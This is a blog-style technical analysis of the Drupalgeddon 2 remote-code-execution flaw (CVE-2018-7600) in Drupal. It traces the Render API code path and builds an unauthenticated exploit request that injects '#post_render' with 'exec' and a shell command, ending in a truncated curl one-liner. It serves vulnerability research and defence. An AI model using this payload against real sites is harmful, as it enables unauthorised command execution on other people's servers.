New Drupal Vulnerability in Detail

By @aLLy

The second Drupalgeddon has come! It is a new variant of a critical vulnerability in one of the most popular CMSs, which caused a big stir. This newly-discovered breach allows any unregistered user execute commands in the target system by means of a single request.

The problem is further aggravated by the fact that it puts all the most current versions of the application (7.x and 8.x branches, up to 8.5.0) under threat. The number of potentially exploitable targets is very high.

INFO

The assigned ID for the vulnerability is CVE-2018–7600. It has the highest threat level (“highly critical”).

The developers have issued a patch as on March 28, 2018, however, as recently as April 12, there were still no links to PoC or the detailed description of the problem in the Drupal public domain. It should be noted that the patch suggested by the developers was also very laconic and gave no indication as to where the vulnerability could be discovered. The application is easily installed; moreover, Drupal has an official repository at Docker Hub, and the deployment of a container with the required CMS version only takes a couple of well documented commands. Personally, I like to use JetBrains PhpStorm for debugging.

Given that the cat is out of the bag, let’s take a critical look at this exploit and study it more closely.

Deep Dive

First, let’s take a look at the patch which fixes the vulnerability.

Drupalgeddon 2 vulnerability patch commit

Cool, isn’t it? The developers have simply added filtering of all data submitted by users.

However, this patch can shed some light on the nature of the vulnerability. Pay attention to the code of the checking procedure: the data is handled by the method sanitize, which invokes stripDangerousValues.

/core/lib/Drupal/Core/DrupalKernel.php

545: public function preHandle(Request $request) {
546: // Sanitize the request.
547: $request = RequestSanitizer::sanitize(
548: $request,
549: (array) Settings::get(RequestSanitizer::SANITIZE_WHITELIST, [])

/core/lib/Drupal/Core/Security/RequestSanitizer.php

40: public static function sanitize(Request $request, $whitelist, $log_sa

44: $request->query->replace(static::stripDangerousValues($request->q

This method, in turn, executes verification of all the submitted parameters. Zero values beginning with # and values that were not whitelisted are stripped.

/core/lib/Drupal/Core/Security/RequestSanitizer.php

84: protected static function stripDangerousValues($input, array $whiteli
85: if (is_array($input)) {
86: foreach ($input as $key => $value) {
87: if ($key !== ‘’ && $key[0] === ‘#’ && !in_array($key, $whitelis
88: unset($input[$key]);
89: $sanitized_keys[] = $key;
90: }
91: else {
92: $input[$key] = static::stripDangerousValues($input[$key], $wh
93: }
94: }
95: }
96: return $input;
97: }

What are those “mystic” parameters beginning with an pound sign? They are special placeholders for Drupal Render API. This API was introduced in the version 7.0 of the CMS and is used for rendering structured data into HTML markup.

Before the rendering phase, the data required for creating the requested page and its individual blocks is stored in the form of special arrays. This provides ample opportunities for changing the markup or the content of the page at any time during the page load or right after.

Render API implements so-called Renderable Arrays (or Render Arrays). They are structured arrays, that provide data along with hints as to how this data should be rendered (presented) for the user. Keys with the hash symbol (#) are the properties used by the rendering interpreter.

There is a set number of pre-defined properties, such as form, html_tag, value, markup, etc. Most them are described in the official Forms API whitepapers.

For the purposes of studying of Drupalgeddon 2 vulnerability, we are interested in the properties which invoke call_user_func during processing. Among them are #pre_render, #post_render, #access_callback, #submit, #lazy_builder, #validate. To demonstrate how exploit works, I’m using the key #post_render. The processing of this element is described in the Renderer.php.

/core/lib/Drupal/Core/Render/Renderer.php

500: if (isset($elements[‘#post_render’])) {
501: foreach ($elements[‘#post_render’] as $callable) {
502: if (is_string($callable) && strpos($callable, ‘::’) === FALSE
503: $callable = $this->controllerResolver->getControllerFromDefi
504: }
505: $elements[‘#children’] = call_user_func($callable, $elements[
506: }
507: }

Now we need to find a point where user data is submitted to the function render, so we can incorporate this property with the desirable parameters. It’s best if we focus on points that are accessible to unauthorized users, as we know that exploitation of the vulnerability does not require authentication or rights.

/core/lib/Drupal/Core/Render/Renderer.php

182: public function render(&$elements, $is_root_call = FALSE) {

194: try {
195: return $this->doRender($elements, $is_root_call);

207: protected function doRender(&$elements, $is_root_call = FALSE) {

Drupal is huge, and search for such points can take a while, so I won’t bore you with this task (given that the Check Point experts have discovered all that there is to discover already). On registering a new user, the CMS allows you to upload anavatar.

Let’s create a new account and upload some picture after routing the traffic through a proxy.

User avatar upload request

This request is processed by the ManagedFile class method uploadAjaxCallback.

/core/modules/file/src/Element/ManagedFile.php

172: public static function uploadAjaxCallback(&$form, FormStateInterface

Take a note of the element_parents parameter in the request.

element_parents=user_picture/widget/0

It is used in further processing.

/core/modules/file/src/Element/ManagedFile.php

174: $renderer = Drupal::service(‘renderer’);
175:
176: $form_parents = explode(‘/’, $request->query->get(‘element_parents

The submitted data is broken down by slashes and are used to retrieve data from the main form via NestedArray::getValue.

/core/modules/file/src/Element/ManagedFile.php

179: $form = NestedArray::getValue($form, $form_parents);

/core/lib/Drupal/Component/Utility/NestedArray.php

69: public static function &getValue(array &$array, array $parents, &$key
70: $ref = &$array;
71: foreach ($parents as $parent) {
72: if (is_array($ref) && (isset($ref[$parent]) || array_key_exists($
73: $ref = &$ref[$parent];
74: }
75: else {
76: $key_exists = FALSE;
77: $null = NULL;
78: return $null;
79: }
80: }
81: $key_exists = TRUE;
82: return $ref;
83: }

And then, based on the received data, the resulted array is rendered.

/core/modules/file/src/Element/ManagedFile.php

193: $output = $renderer->renderRoot($form);

/core/lib/Drupal/Core/Render/Renderer.php

129: public function renderRoot(&$elements) {
130: // Disallow calling ::renderRoot() from within another ::renderRoo
131: if ($this->isRenderingRoot) {

138: $output = $this->executeInRenderContext(new RenderContext(), funct
139: return $this->render($elements, TRUE);
140: });

Now let’s use a debugger to analyze what’s going on here.

Let’s interrupt request line NestedArray::getValue.

/core/modules/file/src/Element/ManagedFile.php

176: $form_parents = explode(‘/’, $request->query->get(‘element_parents

179: $form = NestedArray::getValue($form, $form_parents); # you’re here

Debugging of uploadAjaxCallback after uploading an avatar

The array $form_parents received from the parameter element_parents serves as a custom path to the desired element in $form for the subsequent rendering. In my case, it looks as follows: $form[“user_picture”][“widget”][0]. The keys are separated by slashes, as is customary in Unix paths.

You can as easily put in your own path to the desired element — you just need to find it. Pay attention to the fields in the new account registration form, which can be filled in, namely mail and name. The parameter name. filters the user data, but the parameter name is more tolerant to such operations. Let’s try to convert this parameter into an array and submit a line beginning with # as a key.

Attribute injection in the mail parameter
$form => Array
(

[account] => Array
(
[#type] => container
[#weight] => -10
[mail] => Array
(
[#type] => email
[#title] => DrupalCoreStringTranslationTranslatableMarkup Ob

[#name] => mail
[#value] => Array
(
[#test] =>
)

)
)
)

Now, if we take element_parents, put the value account/mail/#value in it and insert a breakpoint after the execution of NestedArray::getValue, we get a resulting renewed $form containing our parameters.

Injection of a random element and reassignment of $form

In the next phase, we go back to the magic property #post_render and create a payload array based on this attribute. The function which must be executed is specified as the first element of the array.

mail[#post_render][] = ‘exec’

Next, we must specify the execution parameters. If you look at call_user_func, you’ll see that they are taken from the property #children.

/core/lib/Drupal/Core/Render/Renderer.php

500: if (isset($elements[‘#post_render’])) {
501: foreach ($elements[‘#post_render’] as $callable) {

505: $elements[‘#children’] = call_user_func($callable, $elements[

Let’s put them in this place.

mail[#children] = ‘uname -a’

Now, let’s submit the resulting form.

Everything is set for RCE exploitation.

Voila! 😊

Successfully executed RCE-exploit for Drupal 8.5.0

Let’s remove all the extra stuff from the query and frame it as a single-line curl command.

$ curl -s -X ‘POST’ — data ‘mail[%23post_render][]=exec&mail[%23children]=p

It’s elegant and so, so easy!

Conclusions

What can I say to sum it all up?

The first red flags related to this problem were raised at the end of last year when the researcher nicknamed WhiteWinterWolf published a post in his blog about another possible scenario of Drupalgeddon exploitation. Let me remind you that the original vulnerability allowed unauthorized users to execute SQL injections.

WhiteWinterWolf also provided an example of how an intruder can use this vulnerability for running remote commands after manipulating the same placeholders in an array.

The problem is highly critical for all owners of Drupal sites. Massive attacks are distinct possibility. It is very likely that cybercriminals have already added this exploit to their armory, so be proactive, write up some WAF policies and roll out relevant patches. By the way, if you don’t want to upgrade, the developers have posted patches for all current Drupal branches in their official announcement.

Still, the best way is to install the latest CMS versions: Drupal 7.58 for 7.x branch and Drupal 8.5.1 for 8.x. They have fixed the vulnerability in these updates, or that’s what they told us, anyways.

Leave a Reply

Show Buttons
Hide Buttons